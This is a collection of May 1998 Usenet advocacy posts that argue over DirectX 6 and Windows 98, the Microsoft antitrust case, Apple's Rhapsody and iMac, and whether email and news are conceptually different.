Subject: Re: Windoze Sux: DirectX vs NT50
Date: Thu, 7 May 1998 11:49:31 -0500
Organization: BOB
Message-ID: <6isol3$4h2$1@newsfep4.sprintmail.com>
References: <gmgraves-2604981232290001@sf-pm5-2-66.dialup.slip.net> <3544B94D.AEA0CC67@algonet.se> <01HW.B16A93530002A33B01453580@news.sprynet.com> <35454ac1.6431001@news.tiac.net> <01HW.B16BA6800002814C01048570@news.sprynet.com> <3546a44e.7747984@news.tiac.net> <02HW.B16CF7900002260600D99280@news.sprynet.com> <3548690e.3684017@news.tiac.net> <02HW.B16E55E400061D2400ED1970@news.sprynet.com> <354bcd0e.7636866@news.tiac.net> <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <Pine.BSF.3.96.980504131937.4385B-100000@shell4.ba.best.com> <6iljjf$etu$1@newsfep4.sprintmail.com> <354F4C4F.3C93@zvw._REMOVE_THIS_de> <6ingl7$f7$1@newsfep1.sprintmail.com> <3550A11D.7A@zvw._REMOVE_THIS_de> <6iq6mm$e4g$1@newsfep1.sprintmail.com> <3551DE2B.1967@zvw._REMOVE_THIS_de>
Rolf Magnus wrote in message <3551DE2B.1967@zvw._REMOVE_THIS_de>...
> > >Yes, I nearly only use windows for games, so if I want to play new
> > >games, I will need it.
> >
> > MAYBE. Depends on which version of DirectX the game uses, and
> > if MS doesn't come up with a patch for DX6 on 95...
>
>New games will most likely use dx6
New games AFTER DX6 comes out.
>and I doubt that dx6 will be fully supported on 95
Your doubts are not certain however...try to remember that.
>and also that new hadrware will be supported.
Blame the hardware manufacturer for that, not Microsoft.
> > DX6 will be done, finished, planned, set up, completed on NT5 first,
> > then this will be moved over to W98 and a patch released so that
> > everyone can enjoy it. Don't know about W95 or earlier versions of
>> NT..
>
>So Microsoft will develop DX6 on NT, but then release it on W98 first?
>Why?
Probably because MS intends to switch everything to the NT Line
after this last version of the Win 9x line.
> > >I don't have to buy 98 *yet*, exactly, but I *will* have to buy it
> > >when DX6 is out,
> >
> > Will you? Only if DX6 isn't ported to your current OS. Entirely
> > possible, but not certain..
>
>Do you really think Microsoft didn't see this? They will use some tricks
>to make new games incompatible to 95. You will see this for sure!
I'd rather be optimistic. And in any case, it won't be entirely Microsofts
fault,
some of it will belong to the developers of the games.
> > >or I have to choose NT, depending upon where dx6 will be
> > >out first.
> >
> > Nope. You can buy NT5, or 98 either one, as MS fully intends
> > DX6 to run well on both.
>
>Like on 95 and NT4? DirectX on NT4 is CRAP.
Irrelevant. And don't you think that MIGHT be a factor in why the
work is being done on NT5 first?
> > > Now I am not sure that one will need only one of them.
> >
> > Of course you can't be entirely sure, but you can look at what
> > MS and others report on the situation.
>
>Do you believe in Microsoft?
Yes believe Microsoft exists...and I believe they will usually report
the truth to me and others, and that when others substantiate these
reports, I can trust them even more.
> > > And even if they do, they
> > >will use some trick to force me to buy 98 or (and?) NT5, like not
> > >supporting new hardware any more or things like that.
> >
> > Um, MS doesn't do diddly about supporting new hardware, that would
> > be the responsibility of the hardware manufacturer, not MS.
>
>Ok, this may be correct. But they could do some version of DX6 that
>is not able to support the hardware, by leaving out some important
>features. (Like the 3d hardware support on DX for NT4)
They could, but they probably won't....in fact they've said they won't.
>> and three, MS fully intends to kill the 9X branch of Windows after this
last
>> iteration.
>
>Ok. That's right. I like to see their new neat marketing strategy then.
>M$ will find another way to get your money.
Yes, they'll sell you an OS based on the NT kernel.
> > > Wrong. While in limited groups MS might be hated, in others,
> > >people just don't give a shit..
> >
> >This does not have to do something with newsgroups are whatever
> >groups you meant. It is a general tendency.
> > Proof please? Surveys, Polls, things like that....no self-selected
>ones mind you, but you don't have to provide something of the quality of
a
>Gallup..
>
>Sorry, I don't have any statistics, it was only my oppinion.
Well, then please represent it that way...or as your own experience, or
something else...not a proven conclusion.
> It seems that nearly everytime I hear about Microsoft or about Windows, be
it from >my friends, in the University where I study (computer engineering),
at work,
>on the web,... it seems that everywhere there are complaints.
Complaints don't equal hatred, for example I complain about my Amiga 500
all the time, but I wouldn't throw the old girl away, even if I do have a
better
choice right next to it...
> Don't you experience the same?
Not a general level of hatred. Nor all that many complaints about
Microsoft,
as opposed to problems with the OS and programs..
From: "Edwin E. Thorne" <edwin.thorne@rauland.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Flipping Joe's Bozo Bit
Date: 7 May 1998 16:56:24 GMT
Organization: WorldWide Access - Midwestern Internet Services - www.wwa.com
Message-ID: <01bd79d8$9b79f5c0$c07498cf@edwint.rauland.com>
References: <6hqber$jpu$1@nntp1.ba.best.com> <B1669D20-66583@207.217.155.34> <joe.ragosta-2504980739300001@elk45.dol.net> <6hu2fp$sve$1@xmission.xmission.com> <joe.ragosta-2504982243370001@elk39.dol.net> <6i0dit$466$1@xmission.xmission.com> <1d8gy6o.ou662yjv8vpcN@pppsl820.chicagonet.net> <6ikvgs$o2u$1@xmission.xmission.com>
Kristofer Jon Magnusson <kris@xmission.xmission.com> wrote in article
<6ikvgs$o2u$1@xmission.xmission.com>...
> In comp.sys.next.advocacy Edwin E. Thorne <ethorne@chicagonet.net> wrote:
>
> : I went out to check out that Big Room and you don't have a clue! The
> : Real World exists in a Big Room with a Black Ceiling that has a lot of
> : Little Twinkling Lights.
>
> That's funny.
>
> : In the Real World there are a lot of people doing Real Work who have no
> : use for Lotus, or Novell or IBM. Oddly enough, they're doing far more
> : than merely posting to Usenet.
>
> By all means, since these people don't have any need for Lotus, Novell,
or
> IBM, let's make sure that the others who do can't do their work on
> Rhapsody. Screw those dumb guys, anyway! I mean, if they are stupid
enough
> to want to use NetWare or WordPerfect after that OpenDoc fiasco, then
they
> are stupid enough to use Windows, right?
WordPerfect is owned by Corel, and is available for the Mac, Unix, etc.
Rhapsody will get on PCs without any help from IBM or Novell. The point
that Joe Ragosta made is a valid one. The last time Apple trusted IBM and
Novell to help their software (OpenDoc) go cross platform, Apple got
screwed royally.
IBM and Novell have their own OS strategies to promote, and have little to
no reason to help Apple with Rhapsody.
> If we keep going that way, we can have the platform all to ourselves,
just
> like we did with NEXTSTEP! We can even have our own special little club,
> maybe in Joe's treehouse.
Yeah, I like that! Meet me at Joe's tree house. I hope my inner bozo
can get along with everyone else's. ;-)
> ..........kris
> --
> Kristofer Jon Magnusson <kris@xmission.com>
>
> "NASA and its partners have identified vacuum
> as a major attribute of space."
Edwin
From: float@interport.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Followup-To: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Date: 7 May 1998 13:18:35 -0400
Organization: Interport Communications Corp.
Message-ID: <6isqdb$pa4$1@interport.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in44d$jt3@bgtnsc01.worldnet.att.net> <6iomt2$bac$1@ligarius.ultra.net>
John Saunders (jws@jws.ultranet.com) wrote:
: By now, most of these USB-peripheral
: vendors know their hardware works with Windows 98, and they've probably
: begun promoting their new stuff. But, wait: here comes the Government to
: blow away the market for your USB product. Not fun.
Well, they can sell to purchasers of the iMac, the new $1299
appliance-style Macintosh to be rolled out in August.
--
Ben
<Just Another System Administrator>
From: float@interport.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Followup-To: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Date: 7 May 1998 13:29:14 -0400
Organization: Interport Communications Corp.
Message-ID: <6isr1a$ppp$1@interport.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in9be$jdd$1@inconnu.isu.edu> <6iooms$clv$1@ligarius.ultra.net>
John Saunders (jws@jws.ultranet.com) wrote:
: >->Would companies which have been testing their products against Windows 98
: be
: >->concerned if Windows 98 didn't ship?
: Yes, really. They've been spending QA time testing something which isn't
: going to ship. That's a waste. It won't leave them pleased.
Well! When you sleep with thieves, don't be surprised to wake up with
your throat cut.
: Kindly distinguish Win95 OSR2 from the retail release. My laptop supports
: FAT32 (with no convert utility), but my old Gateway 486 does not. If I want
: FAT32 on my Gateway system (and if I'm not a thief), then I need Windows 98.
One of the advantages of Bill's monopoly is that there's just one standard
OS, Windows, that runs everywhere and interoperates with itself perfectly.
Right? Come on, it's a Windows world, don't you want to avoid the
fragmentation of Unix?!
*smirk*
: If "DOJ and the State Extortionists General have their way" is true, then
: Windows 98 will be tied up in the courts for a year or two, thus
: Companies other than Microsoft will be hurt
: Did I skip any steps?
Nope. But if Microsoft is allowed to proceed with its plans for market
domination, companies other than Microsoft will be hurt.
I don't suppose you think that Microsoft allies need to be protected from
harm while Microsoft enemies must fend for themselves?
: Way big duh! The states didn't do that. It was the Federal Government. Oh,
: and by the way, remember IBM?
: The big difference in the current situation is that there will always be
: enough states that you can gather a bunch together to sue someone. Powerful
: as it is, there's only one Federal Government. That fact limits the power of
: the Federal Government. But there's a huge number of combinations of States.
What a thoroughly bizarre argument. Not to be disrespectful, but I think
you pulled it out of your ass.
: Freedom of speech is intended to protect those we most hate. In the process,
: it protects the rest of us.
: If we allow the states to arbitrarily harrass any company they want to, then
: pretty soon they'll be harrassing you.
How do you define speech? I don't think your definition matches that of
the framers of the Constitution, that of the Supreme Court, or the one I
use.
Freedom of speech exists to protect people who express opinions or state
facts that other people don't want to hear. It's a mechanism to limit the
'tyranny of the majority' that occurs in democracies.
Shouting 'FIRE' in a crowded theater isn't protected speech, even though
it *is* speech in the literal sense of the word. Driving all of your
competitors out of business through Microsoft-style tactics is neither
literal speech nor protected expression.
--
Ben
<Just Another System Administrator>
From: float@interport.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Followup-To: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Date: 7 May 1998 13:49:12 -0400
Organization: Interport Communications Corp.
Message-ID: <6iss6o$r4k$1@interport.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in626$6cm$1@new-news.cc.brandeis.edu> <6iomt3$bac$2@ligarius.ultra.net> <joe.ragosta-0605980807060001@wil124.dol.net> <6ipuo9$606$3@strato.ultra.net>
John Saunders (jws@jws.ultranet.com) wrote:
: I don't know of any recent cases of selective enforcement due to the
: popularity of the defendent.
O.J. Simpson?
: Joe, my concern is that this business of the states ganging up to extort
: money is new.
Whaaaat? Who asked for money?
One more post like this and you're going in my kill-file. I've never
kill-filed anyone before, I wonder if it's in the man page for tin or if
I'll just have to figure it out.
Tips, anyone?
: It has not been tested for long. We have no reason to believe it will
: work.
If the States didn't "gang up", we'd be a colony of England.
--
Ben
<Just Another System Administrator>
From: float@interport.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Followup-To: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Date: 7 May 1998 13:45:50 -0400
Organization: Interport Communications Corp.
Message-ID: <6iss0e$qtd$1@interport.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in44d$jt3@bgtnsc01.worldnet.att.net> <6iomt2$bac$1@ligarius.ultra.net> <jinx6568-0605980316060001@usr2a35.bratt.sover.net>
Chris Johnson (jinx6568@sover.net) wrote:
: I resent their using the well-being of an entire country, even the
: world, as a bargaining chip. The readjustment has been expected for some
: time- now MS believes they can not only blame it on the DoJ, but they also
: clearly are preparing to trigger a really _bad_ readjustment purely to
: make things so bad for people that an uninformed uprising _forces_ the
: government to give them their monopoly back. That's just evil.
I feel similarly, but I don't believe there will be any clear downgrade
path back to a Microsoft monopoly if we have six months or a year of no
monopoly.
--
Ben
<Just Another System Administrator>
From: float@interport.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Followup-To: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Date: 7 May 1998 13:58:42 -0400
Organization: Interport Communications Corp.
Message-ID: <6issoi$rmc$1@interport.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in626$6cm$1@new-news.cc.brandeis.edu> <6iomt3$bac$2@ligarius.ultra.net> <joe.ragosta-0605980807060001@wil124.dol.net> <6ipuo9$606$3@strato.ultra.net> <joe.ragosta-0605981319480001@wil103.dol.net> <6ir1j8$s1s$3@ligarius.ultra.net>
John Saunders (jws@jws.ultranet.com) wrote:
: I know I'm getting to be the old cynic, but can you show me a case of a bad
: law getting fixed? I bet it was a law that a lot of people thought was
: _really_ bad, not a law that simply caught some people falling between the
: cracks.
: "The squeaky wheel gets the grease", but our system doesn't do as well when
: there are a lot of wheels, each squeaking for a different reason and not in
: unison.
This the tyranny of the majority that I mentioned in another post.
Okay, you're not kill-filed, for now.
--
Ben
<Just Another System Administrator>
From: float@interport.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Followup-To: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Date: 7 May 1998 14:06:35 -0400
Organization: Interport Communications Corp.
Message-ID: <6ist7b$s3o$1@interport.net>
References: <6ipuoa$606$4@strato.ultra.net> <6ipvus$s9i@shelob.afs.com> <35508936.514A@CONVEX.COM> <35577677.21461540@news.nai.net>
Perry.Fecteau@Republican.COM (perfecto@ct2.nai.net) wrote:
: On Wed, 06 May 1998 11:00:54 -0500, Michael Peck <MJPECK@CONVEX.COM>
: wrote:
: >high-speed, standardized, chainable serial interface.
: kinda like scsi eh?
Nope. SCSI's not serial.
--
Ben
<Just Another System Administrator>
From: float@interport.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 7 May 1998 14:27:07 -0400
Organization: Interport Communications Corp.
Message-ID: <6isudr$39$1@interport.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in44d$jt3@bgtnsc01.worldnet.att.net> <6iomt2$bac$1@ligarius.ultra.net> <6isqdb$pa4$1@interport.net>
float@interport.net wrote:
: John Saunders (jws@jws.ultranet.com) wrote:
: : By now, most of these USB-peripheral
: : vendors know their hardware works with Windows 98, and they've probably
: : begun promoting their new stuff. But, wait: here comes the Government to
: : blow away the market for your USB product. Not fun.
: Well, they can sell to purchasers of the iMac, the new $1299
: appliance-style Macintosh to be rolled out in August.
Or to PC owners whose OS vendors don't get held up in court.
Sorry for following up on my own post like that.
--
Ben
<Just Another System Administrator>
From: Michael Peck <MJPECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: Thu, 07 May 1998 14:44:34 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <35520F22.1486@CONVEX.COM>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net> <6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM> <6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM> <6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net> <6ijusb$kos$2@ns3.vrx.net> <6il1qa$em7$1@cronkite.cygnus.com> <354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com> <6imlnj$nkm$2@ns3.vrx.net> <6injcb$bk4$1@crib.bevc.blacksburg.va.us> <6in6mv$3of$4@ns3.vrx.net> <6inu0b$cet$1@crib.bevc.blacksburg.va.us> <6infcq$c0h$6@ns3.vrx.net> <1d8kucf.12204btjdfhlmN@roxboro0-036.dyn.interpath.net> <6ip7tl$oum$7@ns3.vrx.net> <1d8lw3a.1br6d9716oa6kgN@roxboro0-062.dyn.interpath.net> <6iqsmp$h86$1@cronkite.cygnus.com> <6irrnu$r1i$1@ns3.vrx.net> <1d8nl27.1biqyk61nk71kqN@roxboro0-028.dyn.interpath.net> <6isc63$9ih$2@ns3.vrx.net> <1d8ny3o.1pmrnv4cizmb5N@roxboro0-028.dyn.interpath.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
John Moreno wrote:
> "No, it is the fundamental difference in the *MECHANISMS*". There is
> that better? Mail get's shoved through your door - news you go out and
> look for.
That's pure baloney. POP3 mail is an inherently pull-oriented transport.
You go and get your mail, it's not pushed through your door. In fact,
you get your POP mail the same way you get news: blindly, in a big
batch. Period.
In fact, normally, you get your mail from *exactly* the same place you
get your news: your ISP. In my case, they're even on the same freaking
server.
> This MUST be kept clear or people will start thinking that their news
> should be shoved through your door. I don't know about you but I don't
> want everybody on the net to suddenly decide that they should be sending
> me a Cc of their usenet post.
This is so silly. Mail is sent to me through the address of a mailbox.
News is sent to me at the address of a newsgroup. I get each from the
appropriate place. I don't know how anyone could possibly send NNTP
messages to my physical computer unless I were running innd there.
> Number and type of recipients - that's the difference and that
> difference doesn't have anything to do with the number of people on the
> net or 20 year old technology. One is basically a one to one medium and
> the other is putting up flyers where you hope people will see it.
Both are inherently text streams sent to a storage address whereupon
they can be retrieved at will. There's no difference, except in your
mind.
> Mail and news are NOT the same thing, attempts to treat them as the same
> thing are going to end up annoying people. Treating them in SIMILAR
> manner on the other hand...
I treat them the same way. It's my choice, and my preference. There
doesn't seem to be a popular mandate for separating mail and news
functionality, and there's no technical reason to do it, either.
[cut]
> > > News is a soap box, mail is knocking on your door and saying I need to
> > > talk to you.
> >
> > And what is a maillist?
>
> A group of people knocking on your door, one after the other.
Your door? It's your mailbox, and you invited them there!! If you
pretended to own comp.sys.next.advocacy, you'd be complaining about all
the people knocking on your door (as many presume to do).
[cut - more confusion between preference and something called
"conceptual difference"]
MJP
From: petcher@howdy.wustl.edu (Donald N. Petcher)
Newsgroups: comp.sys.next.advocacy
Subject: Re: The killer app....
Date: 7 May 1998 19:45:36 GMT
Organization: Washington University in St. Louis
Message-ID: <6it310$2et$1@newsreader.wustl.edu>
References: <6ilrs8$27f$1@ha2.rdc1.nj.home.com> <01bd77d6$6320c2c0$04387880@test1> <354F8D13.EE@earthlink.net>
In article <354F8D13.EE@earthlink.net>,
Steve Kellener <skellener@earthlink.net> wrote:
>Todd Heberlein wrote:
>> I have been really looking forward to this. Combine this with the recent
>> release of QuickTime 3, the distribution of Avid Technology's Avid Cinema
>> with AIO Macs, and the growing popularity of low-cost writeable CD players
>> and Apple really is in great position to drive multimedia content creation.
>
>Well, DVD is soon going to be the format of choice and there's only ONE
>DVD player available for G3's only (not even made by Apple). Whatever
>happened to Apple being the FIRST company to ship computers with DVD's?
>They are now DEAD LAST!!
>
>Come on Apple! Get on with it!
>
>Steve
>
That's odd. I was just looking at the new Educational Apple Store yesterday,
and one of the options for a G3 was a DVD in place of the CD. Are they not
shipping?
Cheers,
Don Petcher
From: roger@. (Roger )
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Thu, 07 May 1998 19:49:43 GMT
Organization: gte.net
Message-ID: <6it38j$fhc$1@gte2.gte.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in9be$jdd$1@inconnu.isu.edu> <6iooms$clv$1@ligarius.ultra.net> <joe.ragosta-0605980812110001@wil124.dol.net> <6iq0ur$kkh$1@strato.ultra.net> <see-below-0705980451160001@209.24.240.68>
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No, Win98 is OSR2+multiple monitors without special drivers+a
different driver model which makes it easier for an OEM to develop one
driver for both 98 and NT+USB support standard+a utility to safely
convert to a FAT32 environment+and improved defragmenter+a wizard
which can recommend steps to optimize your system based on your
usage+a wizard which can keep you apprised of updates / patches to the
OS or it's utilities+the testing required to make sure all the above
works reasonably well on a wide variety of hardware, new and
not-so-new
and a new name and price.
On Thu, 07 May 1998 04:51:16 -0700, someone claiming to be Matthew
Vaughan wrote:
>I don't understand what you're saying here. Basically, you're saying that
>Windows 98 _is_ OSR2, except that it's been tested on a lot of hardware?
>So what would be the difference? The only difference I can see is the name
>and the price.
From: Eric Hermanson <eric@alum.mit.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Microsoft's Hypocracy
Date: Thu, 07 May 1998 13:12:10 -0700
Organization: Digital Universe Corporation
Message-ID: <3552159A.F2105167@alum.mit.edu>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in9be$jdd$1@inconnu.isu.edu> <6iooms$clv$1@ligarius.ultra.net> <joe.ragosta-0605980812110001@wil124.dol.net> <6iq0ur$kkh$1@strato.ultra.net> <see-below-0705980451160001@209.24.240.68> <6it38j$fhc$1@gte2.gte.net> <35521108.667D@CONVEX.COM>
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Microsoft says any Justice Department induced delay of Windows 98 will bring down the economic structures of the entire World. But,
at the same time, Microsoft itself delayed (through mismanagement of the software development cycle) the release of Windows 95 for 2
years, and Windows NT 4.0 for 4 years. Yet, according to Microsoft, the market flourished during those delays.
I smell a rat - and it lives in Redmond.
Eric
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
From: phenix@interpath.com (John Moreno)
Message-ID: <1d8o1xu.1yrqi911iuxkv7N@roxboro0-028.dyn.interpath.net>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net> <6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM> <6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM> <6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net> <6ijusb$kos$2@ns3.vrx.net> <6il1qa$em7$1@cronkite.cygnus.com> <354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com> <6imlnj$nkm$2@ns3.vrx.net> <6injcb$bk4$1@crib.bevc.blacksburg.va.us> <6in6mv$3of$4@ns3.vrx.net> <6inu0b$cet$1@crib.bevc.blacksburg.va.us> <6infcq$c0h$6@ns3.vrx.net> <1d8kucf.12204btjdfhlmN@roxboro0-036.dyn.interpath.net> <6ip7tl$oum$7@ns3.vrx.net> <1d8lw3a.1br6d9716oa6kgN@roxboro0-062.dyn.interpath.net> <6iqsmp$h86$1@cronkite.cygnus.com> <6irrnu$r1i$1@ns3.vrx.net> <1d8nl27.1biqyk61nk71kqN@roxboro0-028.dyn.interpath.net> <6isc63$9ih$2@ns3.vrx.net> <1d8ny3o.1pmrnv4cizmb5N@roxboro0-028.dyn.interpath.net> <35520F22.1486@CONVEX.COM>
Organization: phenix@interpath.com
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: never
Date: Thu, 07 May 1998 20:18:26 GMT
NNTP-Posting-Date: Thu, 07 May 1998 13:18:26 PDT
Michael Peck <MJPECK@CONVEX.COM> wrote:
> John Moreno wrote:
>
> > "No, it is the fundamental difference in the *MECHANISMS*". There is
> > that better? Mail get's shoved through your door - news you go out and
> > look for.
>
> That's pure baloney. POP3 mail is an inherently pull-oriented transport.
> You go and get your mail, it's not pushed through your door. In fact,
> you get your POP mail the same way you get news: blindly, in a big
> batch. Period.
>
> In fact, normally, you get your mail from *exactly* the same place you
> get your news: your ISP. In my case, they're even on the same freaking
> server.
The mailbox is YOURS with space limitations (true, you don't generally
overrun them, but they are there).
> > This MUST be kept clear or people will start thinking that their news
> > should be shoved through your door. I don't know about you but I don't
> > want everybody on the net to suddenly decide that they should be sending
> > me a Cc of their usenet post.
>
> This is so silly. Mail is sent to me through the address of a mailbox.
> News is sent to me at the address of a newsgroup.
Mail is sent to YOUR mailbox - it is assigned to you, the newsgroup
isn't.
> I get each from the appropriate place. I don't know how anyone could
> possibly send NNTP messages to my physical computer unless I were running
> innd there.
You "get" news from the appropriate spot, mail is delivered and you
"retrieve" it. Still a difference.
> > Number and type of recipients - that's the difference and that
> > difference doesn't have anything to do with the number of people on the
> > net or 20 year old technology. One is basically a one to one medium and
> > the other is putting up flyers where you hope people will see it.
>
> Both are inherently text streams sent to a storage address whereupon
> they can be retrieved at will. There's no difference, except in your
> mind.
Well, gee, then let's just say they are both streams of binary data and
say there's no difference between them and any other type of computer
data.
> > Mail and news are NOT the same thing, attempts to treat them as the same
> > thing are going to end up annoying people. Treating them in SIMILAR
> > manner on the other hand...
>
> I treat them the same way. It's my choice, and my preference. There
> doesn't seem to be a popular mandate for separating mail and news
> functionality, and there's no technical reason to do it, either.
Run a vacation program that responds to newsgroup post and see if there
isn't a popular mandate.
> [cut]
>
> > > > News is a soap box, mail is knocking on your door and saying I need to
> > > > talk to you.
> > >
> > > And what is a maillist?
> >
> > A group of people knocking on your door, one after the other.
>
> Your door? It's your mailbox, and you invited them there!! If you
> pretended to own comp.sys.next.advocacy, you'd be complaining about all
> the people knocking on your door (as many presume to do).
I DON'T pretend to own comp.sys.next.advocacy - I do pretend to own my
mailbox. And yes I did invite them to my mailbox, that was kinda the
point you know.
> [cut - more confusion between preference and something called
> "conceptual difference"]
"Conceptual difference" - a pinhammer and a sledgehammer.
--
John Moreno
From: Michael Peck <MJPECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: Thu, 07 May 1998 15:34:03 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <35521ABB.1A3A@CONVEX.COM>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net> <6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM> <6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM> <6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net> <6ijusb$kos$2@ns3.vrx.net> <6il1qa$em7$1@cronkite.cygnus.com> <354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com> <6imlnj$nkm$2@ns3.vrx.net> <6injcb$bk4$1@crib.bevc.blacksburg.va.us> <6in6mv$3of$4@ns3.vrx.net> <6inu0b$cet$1@crib.bevc.blacksburg.va.us> <6infcq$c0h$6@ns3.vrx.net> <1d8kucf.12204btjdfhlmN@roxboro0-036.dyn.interpath.net> <6ip7tl$oum$7@ns3.vrx.net> <1d8lw3a.1br6d9716oa6kgN@roxboro0-062.dyn.interpath.net> <6iqsmp$h86$1@cronkite.cygnus.com> <6irrnu$r1i$1@ns3.vrx.net> <1d8nl27.1biqyk61nk71kqN@roxboro0-028.dyn.interpath.net> <6isc63$9ih$2@ns3.vrx.net> <1d8ny3o.1pmrnv4cizmb5N@roxboro0-028.dyn.interpath.net> <35520F22.1486@CONVEX.COM> <1d8o1xu.1yrqi911iuxkv7N@roxboro0-028.dyn.interpath.net>
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John Moreno wrote:
> > In fact, normally, you get your mail from *exactly* the same place you
> > get your news: your ISP. In my case, they're even on the same freaking
> > server.
>
> The mailbox is YOURS with space limitations (true, you don't generally
> overrun them, but they are there).
You're right, that might be the very first UI difference: mail clients
need a space warning. Reason enough for separating clients, yes?
Absolutely.
